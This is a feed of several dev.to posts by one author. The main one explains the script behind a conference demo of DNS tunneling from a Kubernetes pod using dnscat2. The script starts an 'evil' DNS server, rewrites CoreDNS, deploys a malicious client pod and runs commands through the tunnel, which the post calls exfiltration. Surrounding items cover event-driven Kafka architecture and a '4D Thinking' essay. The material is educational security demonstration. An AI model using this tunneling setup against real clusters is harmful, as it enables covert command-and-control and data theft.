&lt;p&gt;Consider a bank account. Your balance is not stored; it is &lt;em&gt;computed&lt;/em&gt; by summing all transactions. Event sourcing uses Kafka to store every change.&lt;/p&gt;

&lt;p&gt;Benefits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Perfect audit history&lt;/li&gt;
&lt;li&gt;Ability to rebuild state anytime&lt;/li&gt;
&lt;li&gt;Natural resilience to failure&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;3. CQRS with Kafka Streams&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Commands update state. Queries read from a fast, materialized view.&lt;/p&gt;

&lt;p&gt;This gives:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;smooth scalability&lt;/li&gt;
&lt;li&gt;predictable performance&lt;/li&gt;
&lt;li&gt;clear separation of responsibilities&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Kafka Streams keeps the views up to date in real time.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Why events reduce failures&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Most system failures originate from coupling:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A slow service slows everything&lt;/li&gt;
&lt;li&gt;A failing service breaks everything&lt;/li&gt;
&lt;li&gt;A scaling service overloads everything&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Events cut these chains.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Failures become local instead of global.&lt;/strong&gt;&lt;br&gt;
A bad consumer does not impact producers. A slow processor does not block others. If a consumer crashes, Kafka simply replays events until it recovers.&lt;/p&gt;

&lt;p&gt;This is how living systems avoid dying from one malfunctioning cell.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Observability as the organism’s senses&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Observability in reactive architectures is not about dashboards—it’s about understanding motion:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Kafka lag = congestion on a highway&lt;/li&gt;
&lt;li&gt;Distributed tracing = route visualization&lt;/li&gt;
&lt;li&gt;Knative auto-scaling logs = heartbeat signals&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The goal is to &lt;strong&gt;see the system as an organism&lt;/strong&gt;, reacting to stimuli and adapting continuously.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;What organizations gain&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Teams adopting this architecture see:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;massive reductions in over-provisioning&lt;/li&gt;
&lt;li&gt;better stability under unpredictable workloads&lt;/li&gt;
&lt;li&gt;fewer cascading failures&lt;/li&gt;
&lt;li&gt;simpler understanding of system behavior&lt;/li&gt;
&lt;li&gt;improved developer autonomy&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A reactive system frees engineers to build features rather than fight fires.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;The idea worth sharing&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;At its core, this architecture re-frames how we think about distributed systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reactive micro-services aren’t faster machines—they are better listeners.&lt;/strong&gt;&lt;br&gt;
They don’t wait. They don’t poll. They don’t rely on rigid chains of synchronous calls.&lt;/p&gt;

&lt;p&gt;Instead, they respond to the world, recover from damage, scale when needed, and rest when idle.&lt;/p&gt;

&lt;p&gt;This is the shift:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;From systems that must be controlled&lt;br&gt;
to systems that can self-organize.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And when events meet clusters, that shift becomes possible.&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>microservices</category>
      <category>productivity</category>
      <category>kafka</category>
    </item>
    <item>
      <title>How the live Kubernetes DNS Tunneling Demo Was Scripted ? live at CDS 2025 Conference !</title>
      <dc:creator>Ali Alp</dc:creator>
      <pubDate>Tue, 16 Sep 2025 12:43:57 +0000</pubDate>
      <link>https://forem.com/alialp/how-the-live-kubernetes-dns-tunneling-demo-was-scripted-live-at-cds-2025-conference--kj8</link>
      <guid>https://forem.com/alialp/how-the-live-kubernetes-dns-tunneling-demo-was-scripted-live-at-cds-2025-conference--kj8</guid>
      <description>&lt;p&gt;In the talk &lt;a href="https://www.alialp.de/talks/cds-2025-breaking-kubernetes-for-fun-and-profit" rel="noopener noreferrer"&gt;CDS 2025 - Breaking Kubernetes for fun and profit&lt;br&gt;
&lt;/a&gt; at the &lt;a href="https://www.containerdays.io/containerdays-conference-2025/" rel="noopener noreferrer"&gt;ContainerDays Conference 2025&lt;/a&gt;, you saw a live demo with moving panes, ASCII art, and Kubernetes commands that just &lt;em&gt;flowed&lt;/em&gt;. Here’s the actual script that made it possible.&lt;/p&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;


&lt;h2&gt;
  
  
  And here’s a breakdown of the script.
&lt;/h2&gt;

&lt;h2&gt;
  
  
  1. The Base: &lt;code&gt;demo-magic.sh&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;The script begins with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;.&lt;/span&gt; demo-magic.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://github.com/paxtonhare/demo-magic" rel="noopener noreferrer"&gt;&lt;code&gt;demo-magic.sh&lt;/code&gt;&lt;/a&gt; is a small Bash library that makes live demos smoother:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;p "text"&lt;/code&gt; → prints a command (for narration only).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;pe "command"&lt;/code&gt; → prints and executes the command.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;pei "command"&lt;/code&gt; → prints, executes, and leaves pane open for interaction.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;TYPE_SPEED=20&lt;/code&gt; → controls how fast characters appear (20 ms per char).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This creates the “typed in front of you” effect without human typos.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Preparing a Clean Stage
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ~/kind.log
kind delete cluster &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null 2&amp;gt;&amp;amp;1 &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;true
&lt;/span&gt;docker &lt;span class="nb"&gt;kill &lt;/span&gt;dnscat2-server&amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;true
&lt;/span&gt;tmux kill-pane &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This resets the environment so you can re-run the demo without leftovers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Clear previous logs.&lt;/li&gt;
&lt;li&gt;Delete any old &lt;code&gt;kind&lt;/code&gt; cluster.&lt;/li&gt;
&lt;li&gt;Kill the malicious &lt;code&gt;dnscat2&lt;/code&gt; server if running.&lt;/li&gt;
&lt;li&gt;Kill all extra tmux panes.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. Setting Up tmux Panes
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tmux split-window &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 30
tmux &lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="nt"&gt;-pane&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 0 
tmux split-window &lt;span class="nt"&gt;-h&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 60
tmux &lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="nt"&gt;-pane&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 0
tmux clock-mode &lt;span class="nt"&gt;-t&lt;/span&gt; 2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This creates the demo “dashboard”:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Pane 0 (top-left): your main command area.&lt;/li&gt;
&lt;li&gt;Pane 1 (bottom 30%): for ASCII visuals initially and later the attacker's DNS server.&lt;/li&gt;
&lt;li&gt;Pane 2 (right 60%): for logs/status, with a live clock.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tmux send-keys &lt;span class="nt"&gt;-t&lt;/span&gt; 1 &lt;span class="s2"&gt;"watch -t jp2a --width=65 --height=31 Picture1.png |lolcat -a -s 10 -d 60"&lt;/span&gt; Enter
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pane 1 shows a looping ASCII-art hacker picture, colored with &lt;code&gt;lolcat&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Audience Engagement
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Are you ready ???"&lt;/span&gt;
&lt;span class="nb"&gt;wait&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;wait&lt;/code&gt; pauses until you press Enter — a natural place to talk to the audience before starting the heavy steps.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Spinning Up the Cluster
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tmux send-keys &lt;span class="nt"&gt;-t&lt;/span&gt; 2 &lt;span class="s2"&gt;" tail -f ~/kind.log"&lt;/span&gt; Enter
kind create cluster &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ~/kind.log 2&amp;gt;&amp;amp;1 
kind get kubeconfig &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ~/.kube/config
kind load docker-image alialp/dnscat2-client &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null 2&amp;gt;&amp;amp;1 
kubectl config set-context &lt;span class="nt"&gt;--current&lt;/span&gt; &lt;span class="nt"&gt;--namespace&lt;/span&gt; demo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Pane 2 tails the log, so the audience sees cluster creation progress.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;kind create cluster&lt;/code&gt; builds the Kubernetes-in-Docker cluster.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;dnscat2-client&lt;/code&gt; image is preloaded into the cluster.&lt;/li&gt;
&lt;li&gt;Context is switched to the &lt;code&gt;demo&lt;/code&gt; namespace.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  6. Bringing in the Evil Server
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tmux send-keys &lt;span class="nt"&gt;-t&lt;/span&gt; 1 C-c
tmux send-keys &lt;span class="nt"&gt;-t&lt;/span&gt; 1 &lt;span class="s2"&gt;"bash ./dns-evil-server.sh"&lt;/span&gt; Enter
kubectl create namespace demo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Pane 1 stops showing ASCII art and instead launches your malicious DNS server.&lt;/li&gt;
&lt;li&gt;Namespace &lt;code&gt;demo&lt;/code&gt; is created.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  7. Manipulating CoreDNS
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl &lt;span class="nb"&gt;wait&lt;/span&gt; &lt;span class="nt"&gt;--namespace&lt;/span&gt; kube-system &lt;span class="nt"&gt;--for&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;condition&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Ready pod &lt;span class="nt"&gt;--all&lt;/span&gt; &lt;span class="nt"&gt;--timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;90s
kubectl replace &lt;span class="nt"&gt;-f&lt;/span&gt; coredns-cm.yaml &lt;span class="nt"&gt;--force&lt;/span&gt;
kubectl rollout restart &lt;span class="nt"&gt;-n&lt;/span&gt; kube-system deployment coredns
kubectl &lt;span class="nb"&gt;wait&lt;/span&gt; &lt;span class="nt"&gt;--namespace&lt;/span&gt; kube-system &lt;span class="nt"&gt;--for&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;condition&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Ready pod &lt;span class="nt"&gt;--all&lt;/span&gt; &lt;span class="nt"&gt;--timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;90s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This ensures the DNS manipulation ConfigMap is in place to support localhost DNS forwarding via docker and the CoreDNS is restarted cleanly.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Deploying the Malicious Client
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tmux send-keys &lt;span class="nt"&gt;-t&lt;/span&gt; 2 C-c
tmux send-keys &lt;span class="nt"&gt;-t&lt;/span&gt; 2 &lt;span class="s2"&gt;"watch -t -d -n 1 -- kubectl get pods -n demo"&lt;/span&gt; Enter
pei &lt;span class="s2"&gt;"cat ./dnscat2-client-pod.yaml"&lt;/span&gt;
pe &lt;span class="s2"&gt;"kubectl apply -f dnscat2-client-pod.yaml"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Pane 2 now watches the &lt;code&gt;demo&lt;/code&gt; namespace pods.&lt;/li&gt;
&lt;li&gt;The manifest is shown (&lt;code&gt;cat&lt;/code&gt;) then applied.&lt;/li&gt;
&lt;li&gt;Audience sees the pod start running.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  9. Waiting for Pod Readiness
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; kubectl get pod dnscat-client &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;jsonpath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"{.status.phase}"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; Running&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nb"&gt;sleep &lt;/span&gt;1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This loop blocks until the pod is &lt;code&gt;Running&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  10. Switching Pane Colors and Sniffing Traffic
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tmux &lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="nt"&gt;-pane&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 1 &lt;span class="nt"&gt;-P&lt;/span&gt; &lt;span class="s1"&gt;'bg=#872736'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
tmux send-keys &lt;span class="nt"&gt;-t&lt;/span&gt; 2 C-c
tmux send-keys &lt;span class="nt"&gt;-t&lt;/span&gt; 2 &lt;span class="s2"&gt;"kubectl sniff -n demo dnscat-client -o - |tshark -i -"&lt;/span&gt; Enter
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Pane 1 background turns red to draw attention and shows that a DNS tunneling session has been created between the Kubernetes pod and the attacker's DNS server.&lt;/li&gt;
&lt;li&gt;Pane 2 starts packet capture from the client pod, piping into &lt;code&gt;tshark&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  11. Showing Exfiltration in Action
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; demo pods/dnscat-client &lt;span class="nt"&gt;--&lt;/span&gt; watch &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; 1 &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-al&lt;/span&gt;  /home/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From Pane 0, the client is controlled via DNS tunneling — audience sees live file listings.&lt;/p&gt;




&lt;h2&gt;
  
  
  12. Ending the Demo
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;p &lt;span class="s2"&gt;"echo 'Press Enter to end the demo! '"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"✅ Demo complete!"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Cleaning up..."&lt;/span&gt;
kind delete cluster
docker &lt;span class="nb"&gt;kill &lt;/span&gt;dnscat2-server
tmux kill-pane &lt;span class="nt"&gt;-a&lt;/span&gt; 
clear
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cleanup is automatic: cluster deleted, server killed, panes closed, screen cleared.&lt;/p&gt;




&lt;h2&gt;
  
  
  13. Why It Works
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;demo-magic&lt;/strong&gt; handles timing and typing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;tmux&lt;/strong&gt; gives multiple views: art, logs, live status.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;send-keys&lt;/strong&gt; lets you preload commands into panes, so nothing is manually retyped under stress.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;wait&lt;/strong&gt; gives natural narration breaks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;color and visuals&lt;/strong&gt; keep the audience engaged.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  14. Takeaway for Attendees
&lt;/h2&gt;

&lt;p&gt;You can adapt the same approach for any technical live demo:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Pre-script your commands with &lt;code&gt;demo-magic&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;tmux&lt;/code&gt; to dedicate panes to visuals, background logs, and main typing.&lt;/li&gt;
&lt;li&gt;Use ASCII art or colors to keep people looking at your screen.&lt;/li&gt;
&lt;li&gt;Always add cleanup steps so you can rerun reliably.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Happy coding :) &lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>productivity</category>
      <category>opensource</category>
      <category>security</category>
    </item>
    <item>
      <title>At the recent Kubernetes Munich Summit, I introduced a concept called 4D Thinking—seeing beyond the visible to understand hidden context. The interest it sparked inspired me to write this article and share it more widely.</title>
      <dc:creator>Ali Alp</dc:creator>
      <pubDate>Tue, 29 Jul 2025 13:01:59 +0000</pubDate>
      <link>https://forem.com/alialp/at-the-recent-kubernetes-munich-summit-i-introduced-a-concept-called-4d-thinking-seeing-beyond-the-39bm</link>
      <guid>https://forem.com/alialp/at-the-recent-kubernetes-munich-summit-i-introduced-a-concept-called-4d-thinking-seeing-beyond-the-39bm</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/alialp/4d-thinking-every-visible-moment-has-an-invisible-backstory-1g3a" class="crayons-story__hidden-navigation-link"&gt;4D Thinking: Every visible moment has an invisible backstory&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/alialp" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F75246%2F73159765-d92c-4500-bf44-2ccb5ddca661.jpg" alt="alialp profile" class="crayons-avatar__image"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/alialp" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Ali Alp
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Ali Alp
                
              
              &lt;div id="story-author-preview-content-2735479" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/alialp" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F75246%2F73159765-d92c-4500-bf44-2ccb5ddca661.jpg" class="crayons-avatar__image" alt=""&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Ali Alp&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/alialp/4d-thinking-every-visible-moment-has-an-invisible-backstory-1g3a" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;Jul 29 '25&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/alialp/4d-thinking-every-visible-moment-has-an-invisible-backstory-1g3a" id="article-link-2735479"&gt;
          4D Thinking: Every visible moment has an invisible backstory
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/selfimprovement"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;selfimprovement&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/productivity"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;productivity&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/career"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;career&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/mindset"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;mindset&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
          &lt;a href="https://dev.to/alialp/4d-thinking-every-visible-moment-has-an-invisible-backstory-1g3a" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left"&gt;
            &lt;div class="multiple_reactions_aggregate"&gt;
              &lt;span class="multiple_reactions_icons_container"&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/multi-unicorn-b44d6f8c23cdd00964192bedc38af3e82463978aa611b4365bd33a0f1f4f3e97.svg" width="18" height="18"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/sparkle-heart-5f9bee3767e18deb1bb725290cb151c25234768a0e9a2bd39370c382d02920cf.svg" width="18" height="18"&gt;
                  &lt;/span&gt;
              &lt;/span&gt;
              &lt;span class="aggregate_reactions_counter"&gt;2&lt;span class="hidden s:inline"&gt; reactions&lt;/span&gt;&lt;/span&gt;
            &lt;/div&gt;
          &lt;/a&gt;
            &lt;a href="https://dev.to/alialp/4d-thinking-every-visible-moment-has-an-invisible-backstory-1g3a#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              Comments


              &lt;span class="hidden s:inline"&gt;Add Comment&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            4 min read
          &lt;/small&gt;
            
              &lt;span class="bm-initial"&gt;
                

              &lt;/span&gt;
              &lt;span class="bm-success"&gt;
                

              &lt;/span&gt;
            
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
      <category>selfimprovement</category>
      <category>productivity</category>
      <category>career</category>
      <category>mindset</category>
    </item>
    <item>
      <title>4D Thinking: Every visible moment has an invisible backstory</title>
      <dc:creator>Ali Alp</dc:creator>
      <pubDate>Tue, 29 Jul 2025 12:35:43 +0000</pubDate>
      <link>https://forem.com/alialp/4d-thinking-every-visible-moment-has-an-invisible-backstory-1g3a</link>
      <guid>https://forem.com/alialp/4d-thinking-every-visible-moment-has-an-invisible-backstory-1g3a</guid>
      <description>&lt;p&gt;Most of what we experience in life is filtered through the lens of the &lt;strong&gt;third dimension&lt;/strong&gt;—what we can see, touch, hear, and measure. We often take situations, people, or images at face value. But what if we could train ourselves to think in a fourth dimension—not in a physics sense, but in a psychological and emotional sense? Let’s call it &lt;strong&gt;4D Thinking&lt;/strong&gt;: the practice of recognizing the &lt;em&gt;unseen context&lt;/em&gt; behind what appears obvious.&lt;/p&gt;

&lt;p&gt;In the age of curated images, polished presentations, and performative happiness, 4D Thinking is a much-needed mindset shift. It’s about asking: &lt;em&gt;What’s the story I’m not seeing? What’s the cost behind that picture? What’s hidden behind the moment I’m witnessing?&lt;/em&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;The Vacation That’s Not What It Seems&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;You scroll past an ad online: a stunning tropical resort. A beautiful couple laughs as they leap into a crystal-clear pool, cocktails in hand. The sun glistens, their bodies are tan and toned, and the ocean hums in the background.&lt;/p&gt;

&lt;p&gt;But 4D Thinking stops you from getting pulled into the fantasy.&lt;/p&gt;

&lt;p&gt;You wonder: &lt;em&gt;Is it unbearably hot there in the afternoon? Do the rooms smell of mildew after the daily downpours? Are there swarms of mosquitoes after sunset that make evenings uncomfortable?&lt;/em&gt; Maybe the couple is posing for the camera but just had an argument 10 minutes ago. Maybe that laughter is part of a staged shoot, and the moment disappears once the photographer clicks "save."&lt;/p&gt;

&lt;p&gt;You’re not being cynical—you’re being aware. You're seeing dimension four: the context, the discomfort, the complexity behind the aesthetic.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;The Couple on the Rainy Night&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;It’s a lonely, rainy Friday night. You’re stuck at home with no plans. Out your window, you catch a glimpse of a couple walking under one umbrella, dressed elegantly, laughing as they rush through the drizzle—clearly heading out for a romantic evening.&lt;/p&gt;

&lt;p&gt;In 3D, it stings. You feel behind. Alone. Disconnected.&lt;/p&gt;

&lt;p&gt;But in 4D? You imagine: &lt;em&gt;Maybe this date has been planned for months, the only chance they had between conflicting schedules. Maybe they’re trying to rekindle something after a rough patch. Maybe one of them had a depressive episode and tonight is a rare spark of light after weeks of darkness. Or maybe this is the first and last date they'll ever have.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;4D Thinking re-frames your assumptions. You realize you're not looking at a whole story—just a single page.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;The CEO Behind the Curtain&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;In many workplaces, people see the CEO as the one with all the power, luxury, and respect. The fancy car. The corner office. The confident speeches.&lt;/p&gt;

